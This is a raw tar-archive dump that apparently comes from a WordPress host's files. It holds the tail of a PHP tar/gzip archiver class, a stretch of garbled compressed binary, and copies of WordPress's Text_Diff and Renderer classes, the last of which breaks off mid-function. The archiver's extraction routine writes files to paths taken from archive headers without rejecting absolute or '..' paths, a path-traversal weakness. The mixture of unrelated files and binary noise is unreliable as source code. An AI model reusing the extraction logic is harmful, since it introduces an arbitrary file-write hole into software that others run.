						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       Renderer/Diff.php.php.tar.gz                                                                        0000644                 00000005520 15217306007 0011670 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Zyo8OfZn}%4im)m6b13h9%-E{-9LPԶH>.2h.W\+0^3=˸/C/X"s=|-'A<3ɣGGݧOxw鏣O'Oww\Y$+.g6VB<~&bSe8e<՜kgz& x"acBHL/#-@4aV4 Hɩa㟎ٙPBg2a^	[*xF+v2`TT"g~"5=@h}k᳥3c2S^E
i;=jګyhgD)XE	O3gu7.Gpk,)4D3@W[2dhlr޿=~w`ifJxB	M<$Dh<Å=qSwʧap1[ ^$d y^*Woé@@:+q}3O|
_dFU4`hpkQv1ǹe"
 a!u@KQ',e0Fx !"у
CM?CnĨh7XrC

M?ܛ'E2ĭ 6$'@J&,B 4𴓪ڥl_%W>l8AcHbHr-B͖ܓkXn >fFbEw<Z<Y:άmQ}A};s#xW:!{&;2@h#;'荼RsdTe Rw\;P}0<"dXˆ&Pnaaa>f2biI8mtC`:\k,iY cتuAE6 䐡)rf4!=[͍/0I
+ŝBCUQDL֪u½] CbM`g0NPS-G4ꁫ{Tx& 0F9 b,,ʎmVuOaܡ^cT知%urZ *?'X-9e--Qh3FxRrGgwetu}mE6\ޮ(j&*7Y@쥿a}hinV;n3̇`:-ڍ|ٰH
B%hLtZPȐ(*z$k4Hvo4\`BPoCGaGS\6O	Th8Iޡj35(f3U@-Keû鬳ہȳ2ct֤8w8^H&vEr?2b5yLjNjhfi(`'j!Pv	gGcCb=5]#*ݻ @^tHD(TCmGدi2?/ƩI}[	GgAOC	zCVI!^}nD5xy٢,1|ݎ6+} fBeq/UDJdY}kRvUB
}en6S˧=,mwthW5xy1}Yn{n!{xǮiH$֔QG_ՊW2ޛ;3d>QfP\X@T: jx(860XeJ.8K:Z9"&FC)W0MNfi@Pg= 'lDUn}냕׹OhF4 m*0~	zlL6uFlIyR+IJq¼_=H0
DOgzU4T)"l9 b*kBJn3{%k9ja\)v8U8$&q
=fYX)XM;wr
)ǝ5
*d({|ĄR
%S=S2K=#K֧< xkoXGV8iTfexc5|Iީjm'y=:j]ESUL犋 Y2ʈ;0f:QptHiM	]#$_<jMZU!1vS#FV:g/
oJ<O-?~_7(]^"^1BCz=aS(x"`:<ǃvscԬ,9Sȗн@WW7&Zҵ)pR85InҎNf"ٌ\[|"s藍4
y&.fo<ƹ45{Z4GUCfmNFftKܿ5^-j5"f,DiVp5B*_my6T;BÅzopy!O3JN />J>aKޖ&sEMhك%j#<Yd׉Ec[dfQh"YLW(LJ$MS4G& ̪(eZkaZ\4ޖVjRO&ϸT91QUYH*^d$23/hof;2ke7J{iPR%;i<$)50gEwȳ^Y]q˔R-갗{;g$;%(jd4pQ0emZnkեK8ЀɋeRK \^-@Ѯ2d
)\2FʜV}{8t!(˝}@&֓՚Pqم䭱wypqWoe 6                                                                                                                                                                                  Renderer/Renderer.php.tar                                                                           0000644                 00000021000 15217306007 0011350 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer.php                                      0000644                 00000015226 15217301655 0020455 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * A class to render Diffs in different formats.
 *
 * This class renders the diff in classic diff format. It is intended that
 * this class be customized via inheritance, to obtain fancier outputs.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @package Text_Diff
 */
class Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * This should be left at zero for this class, but subclasses may want to
     * set this to other values.
     */
    var $_leading_context_lines = 0;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * This should be left at zero for this class, but subclasses may want to
     * set this to other values.
     */
    var $_trailing_context_lines = 0;

    /**
     * Constructor.
     */
    function __construct( $params = array() )
    {
        foreach ($params as $param => $value) {
            $v = '_' . $param;
            if (isset($this->$v)) {
                $this->$v = $value;
            }
        }
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Renderer( $params = array() ) {
		self::__construct( $params );
	}

    /**
     * Get any renderer parameters.
     *
     * @return array  All parameters of this renderer object.
     */
    function getParams()
    {
        $params = array();
        foreach (get_object_vars($this) as $k => $v) {
            if ($k[0] == '_') {
                $params[substr($k, 1)] = $v;
            }
        }

        return $params;
    }

    /**
     * Renders a diff.
     *
     * @param Text_Diff $diff  A Text_Diff object.
     *
     * @return string  The formatted output.
     */
    function render($diff)
    {
        $xi = $yi = 1;
        $block = false;
        $context = array();

        $nlead = $this->_leading_context_lines;
        $ntrail = $this->_trailing_context_lines;

        $output = $this->_startDiff();

        $diffs = $diff->getDiff();
        foreach ($diffs as $i => $edit) {
            /* If these are unchanged (copied) lines, and we want to keep
             * leading or trailing context lines, extract them from the copy
             * block. */
            if (is_a($edit, 'Text_Diff_Op_copy')) {
                /* Do we have any diff blocks yet? */
                if (is_array($block)) {
                    /* How many lines to keep as context from the copy
                     * block. */
                    $keep = $i == count($diffs) - 1 ? $ntrail : $nlead + $ntrail;
                    if (count($edit->orig) <= $keep) {
                        /* We have less lines in the block than we want for
                         * context => keep the whole block. */
                        $block[] = $edit;
                    } else {
                        if ($ntrail) {
                            /* Create a new block with as many lines as we need
                             * for the trailing context. */
                            $context = array_slice($edit->orig, 0, $ntrail);
                            $block[] = new Text_Diff_Op_copy($context);
                        }
                        /* @todo */
                        $output .= $this->_block($x0, $ntrail + $xi - $x0,
                                                 $y0, $ntrail + $yi - $y0,
                                                 $block);
                        $block = false;
                    }
                }
                /* Keep the copy block as the context for the next block. */
                $context = $edit->orig;
            } else {
                /* Don't we have any diff blocks yet? */
                if (!is_array($block)) {
                    /* Extract context lines from the preceding copy block. */
                    $context = array_slice($context, count($context) - $nlead);
                    $x0 = $xi - count($context);
                    $y0 = $yi - count($context);
                    $block = array();
                    if ($context) {
                        $block[] = new Text_Diff_Op_copy($context);
                    }
                }
                $block[] = $edit;
            }

            if ($edit->orig) {
                $xi += count($edit->orig);
            }
            if ($edit->final) {
                $yi += count($edit->final);
            }
        }

        if (is_array($block)) {
            $output .= $this->_block($x0, $xi - $x0,
                                     $y0, $yi - $y0,
                                     $block);
        }

        return $output . $this->_endDiff();
    }

    function _block($xbeg, $xlen, $ybeg, $ylen, &$edits)
    {
        $output = $this->_startBlock($this->_blockHeader($xbeg, $xlen, $ybeg, $ylen));

        foreach ($edits as $edit) {
            switch (strtolower(get_class($edit))) {
            case 'text_diff_op_copy':
                $output .= $this->_context($edit->orig);
                break;

            case 'text_diff_op_add':
                $output .= $this->_added($edit->final);
                break;

            case 'text_diff_op_delete':
                $output .= $this->_deleted($edit->orig);
                break;

            case 'text_diff_op_change':
                $output .= $this->_changed($edit->orig, $edit->final);
                break;
            }
        }

        return $output . $this->_endBlock();
    }

    function _startDiff()
    {
        return '';
    }

    function _endDiff()
    {
        return '';
    }

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        if ($xlen > 1) {
            $xbeg .= ',' . ($xbeg + $xlen - 1);
        }
        if ($ylen > 1) {
            $ybeg .= ',' . ($ybeg + $ylen - 1);
        }

        // this matches the GNU Diff behaviour
        if ($xlen && !$ylen) {
            $ybeg--;
        } elseif (!$xlen) {
            $xbeg--;
        }

        return $xbeg . ($xlen ? ($ylen ? 'c' : 'd') : 'a') . $ybeg;
    }

    function _startBlock($header)
    {
        return $header . "\n";
    }

    function _endBlock()
    {
        return '';
    }

    function _lines($lines, $prefix = ' ')
    {
        return $prefix . implode("\n$prefix", $lines) . "\n";
    }

    function _context($lines)
    {
        return $this->_lines($lines, '  ');
    }

    function _added($lines)
    {
        return $this->_lines($lines, '> ');
    }

    function _deleted($lines)
    {
        return $this->_lines($lines, '< ');
    }

    function _changed($orig, $final)
    {
        return $this->_deleted($orig) . "---\n" . $this->_added($final);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Renderer/Diff.php.tar                                                                               0000644                 00000033000 15217306007 0010455 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff.php                                               0000644                 00000027266 15217305762 0016721 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * General API for generating and formatting diffs - the differences between
 * two sequences of strings.
 *
 * The original PHP version of this code was written by Geoffrey T. Dairiki
 * <dairiki@dairiki.org>, and is used/adapted with his permission.
 *
 * Copyright 2004 Geoffrey T. Dairiki <dairiki@dairiki.org>
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 */
class Text_Diff {

    /**
     * Array of changes.
     *
     * @var array
     */
    var $_edits;

    /**
     * Computes diffs between sequences of strings.
     *
     * @param string $engine     Name of the diffing engine to use.  'auto'
     *                           will automatically select the best.
     * @param array $params      Parameters to pass to the diffing engine.
     *                           Normally an array of two arrays, each
     *                           containing the lines from a file.
     */
    function __construct( $engine, $params )
    {
        // Backward compatibility workaround.
        if (!is_string($engine)) {
            $params = array($engine, $params);
            $engine = 'auto';
        }

        if ($engine == 'auto') {
            $engine = extension_loaded('xdiff') ? 'xdiff' : 'native';
        } else {
            $engine = basename($engine);
        }

        // WP #7391
        require_once dirname(__FILE__).'/Diff/Engine/' . $engine . '.php';
        $class = 'Text_Diff_Engine_' . $engine;
        $diff_engine = new $class();

        $this->_edits = call_user_func_array(array($diff_engine, 'diff'), $params);
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff( $engine, $params ) {
		self::__construct( $engine, $params );
	}

    /**
     * Returns the array of differences.
     */
    function getDiff()
    {
        return $this->_edits;
    }

    /**
     * returns the number of new (added) lines in a given diff.
     *
     * @since Text_Diff 1.1.0
     *
     * @return int The number of new lines
     */
    function countAddedLines()
    {
        $count = 0;
        foreach ($this->_edits as $edit) {
            if (is_a($edit, 'Text_Diff_Op_add') ||
                is_a($edit, 'Text_Diff_Op_change')) {
                $count += $edit->nfinal();
            }
        }
        return $count;
    }

    /**
     * Returns the number of deleted (removed) lines in a given diff.
     *
     * @since Text_Diff 1.1.0
     *
     * @return int The number of deleted lines
     */
    function countDeletedLines()
    {
        $count = 0;
        foreach ($this->_edits as $edit) {
            if (is_a($edit, 'Text_Diff_Op_delete') ||
                is_a($edit, 'Text_Diff_Op_change')) {
                $count += $edit->norig();
            }
        }
        return $count;
    }

    /**
     * Computes a reversed diff.
     *
     * Example:
     * <code>
     * $diff = new Text_Diff($lines1, $lines2);
     * $rev = $diff->reverse();
     * </code>
     *
     * @return Text_Diff  A Diff object representing the inverse of the
     *                    original diff.  Note that we purposely don't return a
     *                    reference here, since this essentially is a clone()
     *                    method.
     */
    function reverse()
    {
        if (version_compare(zend_version(), '2', '>')) {
            $rev = clone($this);
        } else {
            $rev = $this;
        }
        $rev->_edits = array();
        foreach ($this->_edits as $edit) {
            $rev->_edits[] = $edit->reverse();
        }
        return $rev;
    }

    /**
     * Checks for an empty diff.
     *
     * @return bool True if two sequences were identical.
     */
    function isEmpty()
    {
        foreach ($this->_edits as $edit) {
            if (!is_a($edit, 'Text_Diff_Op_copy')) {
                return false;
            }
        }
        return true;
    }

    /**
     * Computes the length of the Longest Common Subsequence (LCS).
     *
     * This is mostly for diagnostic purposes.
     *
     * @return int The length of the LCS.
     */
    function lcs()
    {
        $lcs = 0;
        foreach ($this->_edits as $edit) {
            if (is_a($edit, 'Text_Diff_Op_copy')) {
                $lcs += count($edit->orig);
            }
        }
        return $lcs;
    }

    /**
     * Gets the original set of lines.
     *
     * This reconstructs the $from_lines parameter passed to the constructor.
     *
     * @return array  The original sequence of strings.
     */
    function getOriginal()
    {
        $lines = array();
        foreach ($this->_edits as $edit) {
            if ($edit->orig) {
                array_splice($lines, count($lines), 0, $edit->orig);
            }
        }
        return $lines;
    }

    /**
     * Gets the final set of lines.
     *
     * This reconstructs the $to_lines parameter passed to the constructor.
     *
     * @return array  The sequence of strings.
     */
    function getFinal()
    {
        $lines = array();
        foreach ($this->_edits as $edit) {
            if ($edit->final) {
                array_splice($lines, count($lines), 0, $edit->final);
            }
        }
        return $lines;
    }

    /**
     * Removes trailing newlines from a line of text. This is meant to be used
     * with array_walk().
     *
     * @param string $line  The line to trim.
     * @param int    $key   The index of the line in the array. Not used.
     */
    static function trimNewlines(&$line, $key)
    {
        $line = str_replace(array("\n", "\r"), '', $line);
    }

    /**
     * Determines the location of the system temporary directory.
     *
     * @access protected
     *
     * @return string  A directory name which can be used for temp files.
     */
    static function _getTempDir()
    {
        return get_temp_dir();
    }

    /**
     * Checks a diff for validity.
     *
     * This is here only for debugging purposes.
     */
    function _check($from_lines, $to_lines)
    {
        if (serialize($from_lines) != serialize($this->getOriginal())) {
            throw new Text_Exception("Reconstructed original does not match");
        }
        if (serialize($to_lines) != serialize($this->getFinal())) {
            throw new Text_Exception("Reconstructed final does not match");
        }

        $rev = $this->reverse();
        if (serialize($to_lines) != serialize($rev->getOriginal())) {
            throw new Text_Exception("Reversed original does not match");
        }
        if (serialize($from_lines) != serialize($rev->getFinal())) {
            throw new Text_Exception("Reversed final does not match");
        }

        $prevtype = null;
        foreach ($this->_edits as $edit) {
            if ($prevtype !== null && $edit instanceof $prevtype) {
                throw new Text_Exception("Edit sequence is non-optimal");
            }
            $prevtype = get_class($edit);
        }

        return true;
    }

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 */
class Text_MappedDiff extends Text_Diff {

    /**
     * Computes a diff between sequences of strings.
     *
     * This can be used to compute things like case-insensitive diffs, or diffs
     * which ignore changes in white-space.
     *
     * @param array $from_lines         An array of strings.
     * @param array $to_lines           An array of strings.
     * @param array $mapped_from_lines  This array should have the same size
     *                                  number of elements as $from_lines.  The
     *                                  elements in $mapped_from_lines and
     *                                  $mapped_to_lines are what is actually
     *                                  compared when computing the diff.
     * @param array $mapped_to_lines    This array should have the same number
     *                                  of elements as $to_lines.
     */
    function __construct($from_lines, $to_lines,
                             $mapped_from_lines, $mapped_to_lines)
    {
        assert(count($from_lines) == count($mapped_from_lines));
        assert(count($to_lines) == count($mapped_to_lines));

        parent::Text_Diff($mapped_from_lines, $mapped_to_lines);

        $xi = $yi = 0;
        for ($i = 0; $i < count($this->_edits); $i++) {
            $orig = &$this->_edits[$i]->orig;
            if (is_array($orig)) {
                $orig = array_slice($from_lines, $xi, count($orig));
                $xi += count($orig);
            }

            $final = &$this->_edits[$i]->final;
            if (is_array($final)) {
                $final = array_slice($to_lines, $yi, count($final));
                $yi += count($final);
            }
        }
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_MappedDiff( $from_lines, $to_lines,
                             $mapped_from_lines, $mapped_to_lines ) {
		self::__construct( $from_lines, $to_lines,
                             $mapped_from_lines, $mapped_to_lines );
	}

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 *
 * @access private
 */
abstract class Text_Diff_Op {

    var $orig;
    var $final;

    abstract function &reverse();

    function norig()
    {
        return $this->orig ? count($this->orig) : 0;
    }

    function nfinal()
    {
        return $this->final ? count($this->final) : 0;
    }

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 *
 * @access private
 */
class Text_Diff_Op_copy extends Text_Diff_Op {

	/**
	 * PHP5 constructor.
	 */
    function __construct( $orig, $final = false )
    {
        if (!is_array($final)) {
            $final = $orig;
        }
        $this->orig = $orig;
        $this->final = $final;
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Op_copy( $orig, $final = false ) {
		self::__construct( $orig, $final );
	}

    function &reverse()
    {
        $reverse = new Text_Diff_Op_copy($this->final, $this->orig);
        return $reverse;
    }

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 *
 * @access private
 */
class Text_Diff_Op_delete extends Text_Diff_Op {

	/**
	 * PHP5 constructor.
	 */
	function __construct( $lines )
    {
        $this->orig = $lines;
        $this->final = false;
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Op_delete( $lines ) {
		self::__construct( $lines );
	}

    function &reverse()
    {
        $reverse = new Text_Diff_Op_add($this->orig);
        return $reverse;
    }

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 *
 * @access private
 */
class Text_Diff_Op_add extends Text_Diff_Op {

	/**
	 * PHP5 constructor.
	 */
    function __construct( $lines )
    {
        $this->final = $lines;
        $this->orig = false;
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Op_add( $lines ) {
		self::__construct( $lines );
	}

    function &reverse()
    {
        $reverse = new Text_Diff_Op_delete($this->final);
        return $reverse;
    }

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 *
 * @access private
 */
class Text_Diff_Op_change extends Text_Diff_Op {

	/**
	 * PHP5 constructor.
	 */
    function __construct( $orig, $final )
    {
        $this->orig = $orig;
        $this->final = $final;
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Op_change( $orig, $final ) {
		self::__construct( $orig, $final );
	}

    function &reverse()
    {
        $reverse = new Text_Diff_Op_change($this->final, $this->orig);
        return $reverse;
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Renderer.php                                                                                        0000644                 00000015226 15217306007 0007032 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * A class to render Diffs in different formats.
 *
 * This class renders the diff in classic diff format. It is intended that
 * this class be customized via inheritance, to obtain fancier outputs.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @package Text_Diff
 */
class Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * This should be left at zero for this class, but subclasses may want to
     * set this to other values.
     */
    var $_leading_context_lines = 0;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * This should be left at zero for this class, but subclasses may want to
     * set this to other values.
     */
    var $_trailing_context_lines = 0;

    /**
     * Constructor.
     */
    function __construct( $params = array() )
    {
        foreach ($params as $param => $value) {
            $v = '_' . $param;
            if (isset($this->$v)) {
                $this->$v = $value;
            }
        }
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Renderer( $params = array() ) {
